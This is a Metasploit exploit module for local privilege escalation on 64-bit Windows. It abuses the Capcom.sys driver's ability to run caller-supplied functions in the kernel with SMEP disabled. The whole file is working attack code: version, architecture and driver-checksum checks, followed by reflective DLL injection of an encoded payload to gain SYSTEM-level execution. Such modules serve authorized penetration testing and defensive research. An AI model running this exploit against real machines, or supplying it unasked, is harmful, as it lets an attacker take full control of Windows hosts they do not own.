##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = NormalRanking

  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process
  include Msf::Post::Windows::ReflectiveDLLInjection

  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => 'Windows Capcom.sys Kernel Execution Exploit (x64 only)',
          'Description' => %q{
            This module abuses the Capcom.sys kernel driver's function that allows for an
            arbitrary function to be executed in the kernel from user land. This function
            purposely disables SMEP prior to invoking a function given by the caller.
            This has been tested on Windows 7, 8.1 and Windows 10 (x64).
          },
          'License' => MSF_LICENSE,
          'Author' => [
            'TheWack0lian', # Issue discovery
            'OJ Reeves' # exploit and msf module
          ],
          'Arch' => [ARCH_X64],
          'Platform' => 'win',
          'SessionTypes' => [ 'meterpreter' ],
          'DefaultOptions' => {
            'EXITFUNC' => 'thread'
          },
          'Targets' => [
            [ 'Windows x64 (<= 10)', { 'Arch' => ARCH_X64 } ]
          ],
          'Payload' => {
            'Space' => 4096,
            'DisableNops' => true
          },
          'References' => [
            ['URL', 'https://twitter.com/TheWack0lian/status/779397840762245124']
          ],
          'DisclosureDate' => '1999-01-01', # non-vuln exploit date
          'DefaultTarget' => 0,
          'Compat' => {
            'Meterpreter' => {
              'Commands' => %w[
                stdapi_fs_md5
                stdapi_sys_config_driver_list
              ]
            }
          }
        }
      )
    )
  end

  def check
    version = get_version_info
    if version.build_number < Msf::WindowsVersion::Win7_SP0 || version.windows_server?
      return Exploit::CheckCode::Unknown
    end

    if sysinfo['Architecture'] != ARCH_X64
      return Exploit::CheckCode::Safe
    end

    # Validate that the driver has been loaded and that
    # the version is the same as the one expected
    client.sys.config.getdrivers.each do |d|
      next unless d[:basename].downcase == 'capcom.sys'

      expected_checksum = '73c98438ac64a68e88b7b0afd11ba140'
      target_checksum = client.fs.file.md5(d[:filename])

      if expected_checksum == Rex::Text.to_hex(target_checksum, '')
        return Exploit::CheckCode::Appears
      end
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    if is_system?
      fail_with(Failure::None, 'Session is already elevated')
    end

    check_result = check
    if check_result == Exploit::CheckCode::Safe || check_result == Exploit::CheckCode::Unknown
      fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
    end

    if sysinfo['Architecture'] == ARCH_X64
      if session.arch == ARCH_X86
        fail_with(Failure::NoTarget, 'Running against WOW64 is not supported, please get an x64 session')
      end

      if target.arch.first == ARCH_X86
        fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
      end
    end

    encoded_payload = payload.encoded
    execute_dll(
      ::File.join(Msf::Config.data_directory, 'exploits', 'capcom_sys_exec', 'capcom_sys_exec.x64.dll'),
      encoded_payload
    )

    print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
  end
end
